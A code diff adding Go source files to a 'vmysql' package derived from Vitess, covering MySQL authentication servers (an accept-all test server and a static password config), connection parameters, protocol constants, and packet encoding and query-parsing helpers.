// MysqlClearPassword and MysqlDialog.
func AuthServerNegotiateClearOrDialog(c *Conn, method string) (string, error) {
switch method {
case MysqlClearPassword:
// The password is the next packet in plain text.
return AuthServerReadPacketString(c)
case MysqlDialog:
return AuthServerReadPacketString(c)
default:
return "", vterrors.Errorf(vtrpc.Code_INTERNAL, "unrecognized method: %v", method)
}
}
+64
View File
@@ -0,0 +1,64 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"net"
querypb "vitess.io/vitess/go/vt/proto/query"
)
// AuthServerNone takes all comers.
// It's meant to be used for testing and prototyping.
// With this config, you can connect to a local vtgate using
// the following command line: 'mysql -P port -h ::'.
// It only uses MysqlNativePassword method.
type AuthServerNone struct{}
// AuthMethod is part of the AuthServer interface.
// We always return MysqlNativePassword.
func (a *AuthServerNone) AuthMethod(user string) (string, error) {
return MysqlNativePassword, nil
}
// Salt makes salt
func (a *AuthServerNone) Salt() ([]byte, error) {
return NewSalt()
}
// ValidateHash validates hash
func (a *AuthServerNone) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
return &NoneGetter{}, nil
}
// Negotiate is part of the AuthServer interface.
// It will never be called.
func (a *AuthServerNone) Negotiate(c *Conn, user string, remotAddr net.Addr) (Getter, error) {
panic("Negotiate should not be called as AuthMethod returned mysql_native_password")
}
func init() {
RegisterAuthServerImpl("none", &AuthServerNone{})
}
// NoneGetter holds the empty string
type NoneGetter struct{}
// Get returns the empty string
func (ng *NoneGetter) Get() *querypb.VTGateCallerID {
return &querypb.VTGateCallerID{Username: "userData1"}
}
+158
View File
@@ -0,0 +1,158 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"flag"
"net"
"sync"
querypb "vitess.io/vitess/go/vt/proto/query"
)
var (
mysqlAuthServerStaticFile = flag.String("mysql_auth_server_static_file", "", "JSON File to read the users/passwords from.")
mysqlAuthServerStaticString = flag.String("mysql_auth_server_static_string", "", "JSON representation of the users/passwords config.")
mysqlAuthServerStaticReloadInterval = flag.Duration("mysql_auth_static_reload_interval", 0, "Ticker to reload credentials")
)
const (
localhostName = "localhost"
)
// AuthServerStatic implements AuthServer using a static configuration.
type AuthServerStatic struct {
// Method can be set to:
// - MysqlNativePassword
// - MysqlClearPassword
// - MysqlDialog
// It defaults to MysqlNativePassword.
Method string
// This mutex helps us prevent data races between the multiple updates of Entries.
mu sync.Mutex
// Entries contains the users, passwords and user data.
Entries map[string][]*AuthServerStaticEntry
}
// AuthServerStaticEntry stores the values for a given user.
type AuthServerStaticEntry struct {
// MysqlNativePassword is generated by password hashing methods in MySQL.
// These changes are illustrated by changes in the result from the PASSWORD() function
// that computes password hash values and in the structure of the user table where passwords are stored.
// mysql> SELECT PASSWORD('mypass');
// +-------------------------------------------+
// | PASSWORD('mypass') |
// +-------------------------------------------+
// | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
// +-------------------------------------------+
// MysqlNativePassword's format looks like "*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4", it store a hashing value.
// Use MysqlNativePassword in auth config, maybe more secure. After all, it is cryptographic storage.
MysqlNativePassword string
Password string
UserData string
SourceHost string
Groups []string
}
// AuthMethod is part of the AuthServer interface.
func (a *AuthServerStatic) AuthMethod(user string) (string, error) {
return a.Method, nil
}
// Salt is part of the AuthServer interface.
func (a *AuthServerStatic) Salt() ([]byte, error) {
return NewSalt()
}
// ValidateHash is part of the AuthServer interface.
func (a *AuthServerStatic) ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error) {
a.mu.Lock()
entries, ok := a.Entries[user]
a.mu.Unlock()
if !ok {
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
for _, entry := range entries {
if entry.MysqlNativePassword != "" {
isPass := isPassScrambleMysqlNativePassword(authResponse, salt, entry.MysqlNativePassword)
if matchSourceHost(remoteAddr, entry.SourceHost) && isPass {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
} else {
computedAuthResponse := ScramblePassword(salt, []byte(entry.Password))
// Validate the password.
if matchSourceHost(remoteAddr, entry.SourceHost) && bytes.Equal(authResponse, computedAuthResponse) {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
}
}
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
// Negotiate is part of the AuthServer interface.
// It will be called if Method is anything else than MysqlNativePassword.
// We only recognize MysqlClearPassword and MysqlDialog here.
func (a *AuthServerStatic) Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error) {
// Finish the negotiation.
password, err := AuthServerNegotiateClearOrDialog(c, a.Method)
if err != nil {
return nil, err
}
a.mu.Lock()
entries, ok := a.Entries[user]
a.mu.Unlock()
if !ok {
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
for _, entry := range entries {
// Validate the password.
if matchSourceHost(remoteAddr, entry.SourceHost) && entry.Password == password {
return &StaticUserData{entry.UserData, entry.Groups}, nil
}
}
return &StaticUserData{}, NewSQLError(ERAccessDeniedError, SSAccessDeniedError, "Access denied for user '%v'", user)
}
func matchSourceHost(remoteAddr net.Addr, targetSourceHost string) bool {
// Legacy support, there was not matcher defined default to true
if targetSourceHost == "" {
return true
}
switch remoteAddr.(type) {
case *net.UnixAddr:
if targetSourceHost == localhostName {
return true
}
}
return false
}
// StaticUserData holds the username and groups
type StaticUserData struct {
username string
groups []string
}
// Get returns the wrapped username and groups
func (sud *StaticUserData) Get() *querypb.VTGateCallerID {
return &querypb.VTGateCallerID{Username: sud.username, Groups: sud.groups}
}
File diff suppressed because it is too large Load Diff
+60
View File
@@ -0,0 +1,60 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
// ConnParams contains all the parameters to use to connect to mysql.
type ConnParams struct {
Host string `json:"host"`
Port int `json:"port"`
Uname string `json:"uname"`
Pass string `json:"pass"`
DbName string `json:"dbname"`
UnixSocket string `json:"unix_socket"`
Charset string `json:"charset"`
Flags uint64 `json:"flags"`
// The following SSL flags are only used when flags |= 2048
// is set (CapabilityClientSSL).
SslCa string `json:"ssl_ca"`
SslCaPath string `json:"ssl_ca_path"`
SslCert string `json:"ssl_cert"`
SslKey string `json:"ssl_key"`
ServerName string `json:"server_name"`
// The following is only set when the deprecated "dbname" flags are
// supplied and will be removed.
DeprecatedDBName string
// The following is only set to force the client to connect without
// using CapabilityClientDeprecateEOF
DisableClientDeprecateEOF bool
}
// EnableSSL will set the right flag on the parameters.
func (cp *ConnParams) EnableSSL() {
cp.Flags |= CapabilityClientSSL
}
// SslEnabled returns if SSL is enabled.
func (cp *ConnParams) SslEnabled() bool {
return (cp.Flags & CapabilityClientSSL) > 0
}
// EnableClientFoundRows sets the flag for CLIENT_FOUND_ROWS.
func (cp *ConnParams) EnableClientFoundRows() {
cp.Flags |= CapabilityClientFoundRows
}
+326
View File
@@ -0,0 +1,326 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
const (
// MaxPacketSize is the maximum payload length of a packet
// the server supports.
MaxPacketSize = (1 << 24) - 1
// protocolVersion is the current version of the protocol.
// Always 10.
protocolVersion = 10
)
// Supported auth forms.
const (
// MysqlNativePassword uses a salt and transmits a hash on the wire.
MysqlNativePassword = "mysql_native_password"
// MysqlClearPassword transmits the password in the clear.
MysqlClearPassword = "mysql_clear_password"
// MysqlDialog uses the dialog plugin on the client side.
// It transmits data in the clear.
MysqlDialog = "dialog"
)
// Capability flags.
// Originally found in include/mysql/mysql_com.h
const (
// CapabilityClientLongPassword is CLIENT_LONG_PASSWORD.
// New more secure passwords. Assumed to be set since 4.1.1.
// We do not check this anywhere.
CapabilityClientLongPassword = 1
// CapabilityClientFoundRows is CLIENT_FOUND_ROWS.
CapabilityClientFoundRows = 1 << 1
// CapabilityClientLongFlag is CLIENT_LONG_FLAG.
// Longer flags in Protocol::ColumnDefinition320.
// Set it everywhere, not used, as we use Protocol::ColumnDefinition41.
CapabilityClientLongFlag = 1 << 2
// CapabilityClientConnectWithDB is CLIENT_CONNECT_WITH_DB.
// One can specify db on connect.
CapabilityClientConnectWithDB = 1 << 3
// CLIENT_NO_SCHEMA 1 << 4
// Do not permit database.table.column. We do permit it.
// CLIENT_COMPRESS 1 << 5
// We do not support compression. CPU is usually our bottleneck.
// CLIENT_ODBC 1 << 6
// No special behavior since 3.22.
// CLIENT_LOCAL_FILES 1 << 7
// Client can use LOCAL INFILE request of LOAD DATA|XML.
// We do not set it.
CapabilityClientLoadDataLocal = 1 << 7
// CLIENT_IGNORE_SPACE 1 << 8
// Parser can ignore spaces before '('.
// We ignore this.
// CapabilityClientProtocol41 is CLIENT_PROTOCOL_41.
// New 4.1 protocol. Enforced everywhere.
CapabilityClientProtocol41 = 1 << 9
// CLIENT_INTERACTIVE 1 << 10
// Not specified, ignored.
// CapabilityClientSSL is CLIENT_SSL.
// Switch to SSL after handshake.
CapabilityClientSSL = 1 << 11
// CLIENT_IGNORE_SIGPIPE 1 << 12
// Do not issue SIGPIPE if network failures occur (libmysqlclient only).
// CapabilityClientTransactions is CLIENT_TRANSACTIONS.
// Can send status flags in EOF_Packet.
// This flag is optional in 3.23, but always set by the server since 4.0.
// We just do it all the time.
CapabilityClientTransactions = 1 << 13
// CLIENT_RESERVED 1 << 14
// CapabilityClientSecureConnection is CLIENT_SECURE_CONNECTION.
// New 4.1 authentication. Always set, expected, never checked.
CapabilityClientSecureConnection = 1 << 15
// CapabilityClientMultiStatements is CLIENT_MULTI_STATEMENTS
// Can handle multiple statements per COM_QUERY and COM_STMT_PREPARE.
CapabilityClientMultiStatements = 1 << 16
// CapabilityClientMultiResults is CLIENT_MULTI_RESULTS
// Can send multiple resultsets for COM_QUERY.
CapabilityClientMultiResults = 1 << 17
// CapabilityClientPluginAuth is CLIENT_PLUGIN_AUTH.
// Client supports plugin authentication.
CapabilityClientPluginAuth = 1 << 19
// CapabilityClientConnAttr is CLIENT_CONNECT_ATTRS
// Permits connection attributes in Protocol::HandshakeResponse41.
CapabilityClientConnAttr = 1 << 20
// CapabilityClientPluginAuthLenencClientData is CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA
CapabilityClientPluginAuthLenencClientData = 1 << 21
// CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS 1 << 22
// Announces support for expired password extension.
// Not yet supported.
// CLIENT_SESSION_TRACK 1 << 23
// Can set SERVER_SESSION_STATE_CHANGED in the Status Flags
// and send session-state change data after a OK packet.
// Not yet supported.
// CapabilityClientDeprecateEOF is CLIENT_DEPRECATE_EOF
// Expects an OK (instead of EOF) after the resultset rows of a Text Resultset.
CapabilityClientDeprecateEOF = 1 << 24
)
// Packet types.
// Originally found in include/mysql/mysql_com.h
const (
// ComQuit is COM_QUIT.
ComQuit = 0x01
// ComInitDB is COM_INIT_DB.
ComInitDB = 0x02
// ComQuery is COM_QUERY.
ComQuery = 0x03
// ComPing is COM_PING.
ComPing = 0x0e
// ComSetOption is COM_SET_OPTION
ComSetOption = 0x1b
// OKPacket is the header of the OK packet.
OKPacket = 0x00
// EOFPacket is the header of the EOF packet.
EOFPacket = 0xfe
// AuthSwitchRequestPacket is used to switch auth method.
AuthSwitchRequestPacket = 0xfe
// ErrPacket is the header of the error packet.
ErrPacket = 0xff
// NullValue is the encoded value of NULL.
NullValue = 0xfb
)
// Error codes for client-side errors.
// Originally found in include/mysql/errmsg.h and
// https://dev.mysql.com/doc/refman/5.7/en/error-messages-client.html
const (
// CRUnknownError is CR_UNKNOWN_ERROR
CRUnknownError = 2000
// CRServerGone is CR_SERVER_GONE_ERROR.
// This is returned if the client tries to send a command but it fails.
CRServerGone = 2006
// CRServerHandshakeErr is CR_SERVER_HANDSHAKE_ERR
CRServerHandshakeErr = 2012
// CRServerLost is CR_SERVER_LOST.
// Used when:
// - the client cannot write an initial auth packet.
// - the client cannot read an initial auth packet.
// - the client cannot read a response from the server.
CRServerLost = 2013
// CRMalformedPacket is CR_MALFORMED_PACKET
CRMalformedPacket = 2027
)
// Error codes return in SQLErrors generated by vitess. These error codes
// are in a high range to avoid conflicting with mysql error codes below.
const (
// ERVitessMaxRowsExceeded is when a user tries to select more rows than the max rows as enforced by vitess.
ERVitessMaxRowsExceeded = 10001
)
// Error codes for server-side errors.
// Originally found in include/mysql/mysqld_error.h and
// https://dev.mysql.com/doc/refman/5.7/en/error-messages-server.html
// The below are in sorted order by value, grouped by vterror code they should be bucketed into.
// See above reference for more information on each code.
const (
// unknown
ERUnknownError = 1105
// unavailable
ERServerShutdown = 1053
// permissions
ERAccessDeniedError = 1045
// invalid arg
ERUnknownComError = 1047
ERParseError = 1064
)
// Sql states for errors.
// Originally found in include/mysql/sql_state.h
const (
// SSUnknownSqlstate is ER_SIGNAL_EXCEPTION in
// include/mysql/sql_state.h, but:
// const char *unknown_sqlstate= "HY000"
// in client.c. So using that one.
SSUnknownSQLState = "HY000"
// SSUnknownComError is ER_UNKNOWN_COM_ERROR
SSUnknownComError = "08S01"
// SSHandshakeError is ER_HANDSHAKE_ERROR
// SSServerShutdown is ER_SERVER_SHUTDOWN
SSServerShutdown = "08S01"
// SSAccessDeniedError is ER_ACCESS_DENIED_ERROR
SSAccessDeniedError = "28000"
)
// Status flags. They are returned by the server in a few cases.
// Originally found in include/mysql/mysql_com.h
// See http://dev.mysql.com/doc/internals/en/status-flags.html
const (
// ServerMoreResultsExists is SERVER_MORE_RESULTS_EXISTS
ServerMoreResultsExists = 0x0008
)
// A few interesting character set values.
// See http://dev.mysql.com/doc/internals/en/character-set.html#packet-Protocol::CharacterSet
const (
// CharacterSetUtf8 is for UTF8. We use this by default.
CharacterSetUtf8 = 33
// CharacterSetBinary is for binary. Use by integer fields for instance.
CharacterSetBinary = 63
)
// CharacterSetMap maps the charset name (used in ConnParams) to the
// integer value. Interesting ones have their own constant above.
var CharacterSetMap = map[string]uint8{
"big5": 1,
"dec8": 3,
"cp850": 4,
"hp8": 6,
"koi8r": 7,
"latin1": 8,
"latin2": 9,
"swe7": 10,
"ascii": 11,
"ujis": 12,
"sjis": 13,
"hebrew": 16,
"tis620": 18,
"euckr": 19,
"koi8u": 22,
"gb2312": 24,
"greek": 25,
"cp1250": 26,
"gbk": 28,
"latin5": 30,
"armscii8": 32,
"utf8": CharacterSetUtf8,
"ucs2": 35,
"cp866": 36,
"keybcs2": 37,
"macce": 38,
"macroman": 39,
"cp852": 40,
"latin7": 41,
"utf8mb4": 45,
"cp1251": 51,
"utf16": 54,
"utf16le": 56,
"cp1256": 57,
"cp1257": 59,
"utf32": 60,
"binary": CharacterSetBinary,
"geostd8": 92,
"cp932": 95,
"eucjpms": 97,
}
// IsNum returns true if a MySQL type is a numeric value.
// It is the same as IS_NUM defined in mysql.h.
//
// FIXME(alainjobart) This needs to use the constants in
// replication/constants.go, so we are using numerical values here.
func IsNum(typ uint8) bool {
return ((typ <= 9 /* MYSQL_TYPE_INT24 */ && typ != 7 /* MYSQL_TYPE_TIMESTAMP */) || typ == 13 /* MYSQL_TYPE_YEAR */ || typ == 246 /* MYSQL_TYPE_NEWDECIMAL */)
}
+256
View File
@@ -0,0 +1,256 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"encoding/binary"
)
// This file contains the data encoding and decoding functions.
//
// Encoding methods.
//
// The same assumptions are made for all the encoding functions:
// - there is enough space to write the data in the buffer. If not, we
// will panic with out of bounds.
// - all functions start writing at 'pos' in the buffer, and return the next position.
// lenEncIntSize returns the number of bytes required to encode a
// variable-length integer.
func lenEncIntSize(i uint64) int {
switch {
case i < 251:
return 1
case i < 1<<16:
return 3
case i < 1<<24:
return 4
default:
return 9
}
}
func writeLenEncInt(data []byte, pos int, i uint64) int {
switch {
case i < 251:
data[pos] = byte(i)
return pos + 1
case i < 1<<16:
data[pos] = 0xfc
data[pos+1] = byte(i)
data[pos+2] = byte(i >> 8)
return pos + 3
case i < 1<<24:
data[pos] = 0xfd
data[pos+1] = byte(i)
data[pos+2] = byte(i >> 8)
data[pos+3] = byte(i >> 16)
return pos + 4
default:
data[pos] = 0xfe
data[pos+1] = byte(i)
data[pos+2] = byte(i >> 8)
data[pos+3] = byte(i >> 16)
data[pos+4] = byte(i >> 24)
data[pos+5] = byte(i >> 32)
data[pos+6] = byte(i >> 40)
data[pos+7] = byte(i >> 48)
data[pos+8] = byte(i >> 56)
return pos + 9
}
}
func lenNullString(value string) int {
return len(value) + 1
}
func writeNullString(data []byte, pos int, value string) int {
pos += copy(data[pos:], value)
data[pos] = 0
return pos + 1
}
func writeEOFString(data []byte, pos int, value string) int {
pos += copy(data[pos:], value)
return pos
}
func writeByte(data []byte, pos int, value byte) int {
data[pos] = value
return pos + 1
}
func writeUint16(data []byte, pos int, value uint16) int {
data[pos] = byte(value)
data[pos+1] = byte(value >> 8)
return pos + 2
}
func writeUint32(data []byte, pos int, value uint32) int {
data[pos] = byte(value)
data[pos+1] = byte(value >> 8)
data[pos+2] = byte(value >> 16)
data[pos+3] = byte(value >> 24)
return pos + 4
}
func lenEncStringSize(value string) int {
l := len(value)
return lenEncIntSize(uint64(l)) + l
}
func writeLenEncString(data []byte, pos int, value string) int {
pos = writeLenEncInt(data, pos, uint64(len(value)))
return writeEOFString(data, pos, value)
}
func writeZeroes(data []byte, pos int, len int) int {
for i := 0; i < len; i++ {
data[pos+i] = 0
}
return pos + len
}
//
// Decoding methods.
//
// The same assumptions are made for all the decoding functions:
// - they return the decode data, the new position to read from, and ak 'ok' flag.
// - all functions start reading at 'pos' in the buffer, and return the next position.
//
func readByte(data []byte, pos int) (byte, int, bool) {
if pos >= len(data) {
return 0, 0, false
}
return data[pos], pos + 1, true
}
func readBytes(data []byte, pos int, size int) ([]byte, int, bool) {
if pos+size-1 >= len(data) {
return nil, 0, false
}
return data[pos : pos+size], pos + size, true
}
// readBytesCopy returns a copy of the bytes in the packet.
// Useful to remember contents of ephemeral packets.
func readBytesCopy(data []byte, pos int, size int) ([]byte, int, bool) {
if pos+size-1 >= len(data) {
return nil, 0, false
}
result := make([]byte, size)
copy(result, data[pos:pos+size])
return result, pos + size, true
}
func readNullString(data []byte, pos int) (string, int, bool) {
end := bytes.IndexByte(data[pos:], 0)
if end == -1 {
return "", 0, false
}
return string(data[pos : pos+end]), pos + end + 1, true
}
func readUint16(data []byte, pos int) (uint16, int, bool) {
if pos+1 >= len(data) {
return 0, 0, false
}
return binary.LittleEndian.Uint16(data[pos : pos+2]), pos + 2, true
}
func readUint32(data []byte, pos int) (uint32, int, bool) {
if pos+3 >= len(data) {
return 0, 0, false
}
return binary.LittleEndian.Uint32(data[pos : pos+4]), pos + 4, true
}
func readLenEncInt(data []byte, pos int) (uint64, int, bool) {
if pos >= len(data) {
return 0, 0, false
}
switch data[pos] {
case 0xfc:
// Encoded in the next 2 bytes.
if pos+2 >= len(data) {
return 0, 0, false
}
return uint64(data[pos+1]) |
uint64(data[pos+2])<<8, pos + 3, true
case 0xfd:
// Encoded in the next 3 bytes.
if pos+3 >= len(data) {
return 0, 0, false
}
return uint64(data[pos+1]) |
uint64(data[pos+2])<<8 |
uint64(data[pos+3])<<16, pos + 4, true
case 0xfe:
// Encoded in the next 8 bytes.
if pos+8 >= len(data) {
return 0, 0, false
}
return uint64(data[pos+1]) |
uint64(data[pos+2])<<8 |
uint64(data[pos+3])<<16 |
uint64(data[pos+4])<<24 |
uint64(data[pos+5])<<32 |
uint64(data[pos+6])<<40 |
uint64(data[pos+7])<<48 |
uint64(data[pos+8])<<56, pos + 9, true
}
return uint64(data[pos]), pos + 1, true
}
func readLenEncString(data []byte, pos int) (string, int, bool) {
size, pos, ok := readLenEncInt(data, pos)
if !ok {
return "", 0, false
}
s := int(size)
if pos+s-1 >= len(data) {
return "", 0, false
}
return string(data[pos : pos+s]), pos + s, true
}
func skipLenEncString(data []byte, pos int) (int, bool) {
size, pos, ok := readLenEncInt(data, pos)
if !ok {
return 0, false
}
s := int(size)
if pos+s-1 >= len(data) {
return 0, false
}
return pos + s, true
}
func readLenEncStringAsBytes(data []byte, pos int) ([]byte, int, bool) {
size, pos, ok := readLenEncInt(data, pos)
if !ok {
return nil, 0, false
}
s := int(size)
if pos+s-1 >= len(data) {
return nil, 0, false
}
return data[pos : pos+s], pos + s, true
}
+657
View File
@@ -0,0 +1,657 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"vitess.io/vitess/go/sqltypes"
"vitess.io/vitess/go/vt/proto/vtrpc"
"vitess.io/vitess/go/vt/vterrors"
querypb "vitess.io/vitess/go/vt/proto/query"
)
// This file contains the methods related to queries.
//
// Client side methods.
//
// WriteComQuery writes a query for the server to execute.
// Client -> Server.
// Returns SQLError(CRServerGone) if it can't.
func (c *Conn) WriteComQuery(query string) error {
// This is a new command, need to reset the sequence.
c.sequence = 0
data := c.startEphemeralPacket(len(query) + 1)
data[0] = ComQuery
copy(data[1:], query)
if err := c.writeEphemeralPacket(); err != nil {
return NewSQLError(CRServerGone, SSUnknownSQLState, err.Error())
}
return nil
}
// writeComInitDB changes the default database to use.
// Client -> Server.
// Returns SQLError(CRServerGone) if it can't.
func (c *Conn) writeComInitDB(db string) error {
data := c.startEphemeralPacket(len(db) + 1)
data[0] = ComInitDB
copy(data[1:], db)
if err := c.writeEphemeralPacket(); err != nil {
return NewSQLError(CRServerGone, SSUnknownSQLState, err.Error())
}
return nil
}
// writeComSetOption changes the connection's capability of executing multi statements.
// Returns SQLError(CRServerGone) if it can't.
func (c *Conn) writeComSetOption(operation uint16) error {
data := c.startEphemeralPacket(16 + 1)
data[0] = ComSetOption
writeUint16(data, 1, operation)
if err := c.writeEphemeralPacket(); err != nil {
return NewSQLError(CRServerGone, SSUnknownSQLState, err.Error())
}
return nil
}
// readColumnDefinition reads the next Column Definition packet.
// Returns a SQLError.
func (c *Conn) readColumnDefinition(field *querypb.Field, index int) error {
colDef, err := c.readEphemeralPacket()
if err != nil {
return NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
}
defer c.RecycleReadPacket()
// Catalog is ignored, always set to "def"
pos, ok := skipLenEncString(colDef, 0)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v catalog failed", index)
}
// schema, table, orgTable, name and OrgName are strings.
field.Database, pos, ok = readLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v schema failed", index)
}
field.Table, pos, ok = readLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v table failed", index)
}
field.OrgTable, pos, ok = readLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v org_table failed", index)
}
field.Name, pos, ok = readLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v name failed", index)
}
field.OrgName, pos, ok = readLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v org_name failed", index)
}
// Skip length of fixed-length fields.
pos++
// characterSet is a uint16.
characterSet, pos, ok := readUint16(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v characterSet failed", index)
}
field.Charset = uint32(characterSet)
// columnLength is a uint32.
field.ColumnLength, pos, ok = readUint32(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v columnLength failed", index)
}
// type is one byte.
t, pos, ok := readByte(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v type failed", index)
}
// flags is 2 bytes.
flags, pos, ok := readUint16(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v flags failed", index)
}
// Convert MySQL type to Vitess type.
field.Type, err = sqltypes.MySQLToType(int64(t), int64(flags))
if err != nil {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "MySQLToType(%v,%v) failed for column %v: %v", t, flags, index, err)
}
// Decimals is a byte.
decimals, _, ok := readByte(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v decimals failed", index)
}
field.Decimals = uint32(decimals)
// If we didn't get column length or character set,
// we assume the orignal row on the other side was encoded from
// a Field without that data, so we don't return the flags.
if field.ColumnLength != 0 || field.Charset != 0 {
field.Flags = uint32(flags)
// FIXME(alainjobart): This is something the MySQL
// client library does: If the type is numerical, it
// adds a NUM_FLAG to the flags. We're doing it here
// only to be compatible with the C library. Once
// we're not using that library any more, we'll remove this.
// See doc.go.
if IsNum(t) {
field.Flags |= uint32(querypb.MySqlFlag_NUM_FLAG)
}
}
return nil
}
// readColumnDefinitionType is a faster version of
// readColumnDefinition that only fills in the Type.
// Returns a SQLError.
func (c *Conn) readColumnDefinitionType(field *querypb.Field, index int) error {
colDef, err := c.readEphemeralPacket()
if err != nil {
return NewSQLError(CRServerLost, SSUnknownSQLState, "%v", err)
}
defer c.RecycleReadPacket()
// catalog, schema, table, orgTable, name and orgName are
// strings, all skipped.
pos, ok := skipLenEncString(colDef, 0)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v catalog failed", index)
}
pos, ok = skipLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v schema failed", index)
}
pos, ok = skipLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v table failed", index)
}
pos, ok = skipLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v org_table failed", index)
}
pos, ok = skipLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v name failed", index)
}
pos, ok = skipLenEncString(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "skipping col %v org_name failed", index)
}
// Skip length of fixed-length fields.
pos++
// characterSet is a uint16.
_, pos, ok = readUint16(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v characterSet failed", index)
}
// columnLength is a uint32.
_, pos, ok = readUint32(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v columnLength failed", index)
}
// type is one byte
t, pos, ok := readByte(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v type failed", index)
}
// flags is 2 bytes
flags, _, ok := readUint16(colDef, pos)
if !ok {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "extracting col %v flags failed", index)
}
// Convert MySQL type to Vitess type.
field.Type, err = sqltypes.MySQLToType(int64(t), int64(flags))
if err != nil {
return NewSQLError(CRMalformedPacket, SSUnknownSQLState, "MySQLToType(%v,%v) failed for column %v: %v", t, flags, index, err)
}
// skip decimals
return nil
}
// parseRow parses an individual row.
// Returns a SQLError.
func (c *Conn) parseRow(data []byte, fields []*querypb.Field) ([]sqltypes.Value, error) {
colNumber := len(fields)
result := make([]sqltypes.Value, colNumber)
pos := 0
for i := 0; i < colNumber; i++ {
if data[pos] == 0xfb {
pos++
continue
}
var s []byte
var ok bool
s, pos, ok = readLenEncStringAsBytes(data, pos)
if !ok {
return nil, NewSQLError(CRMalformedPacket, SSUnknownSQLState, "decoding string failed")
}
result[i] = sqltypes.MakeTrusted(fields[i].Type, s)
}
return result, nil
}
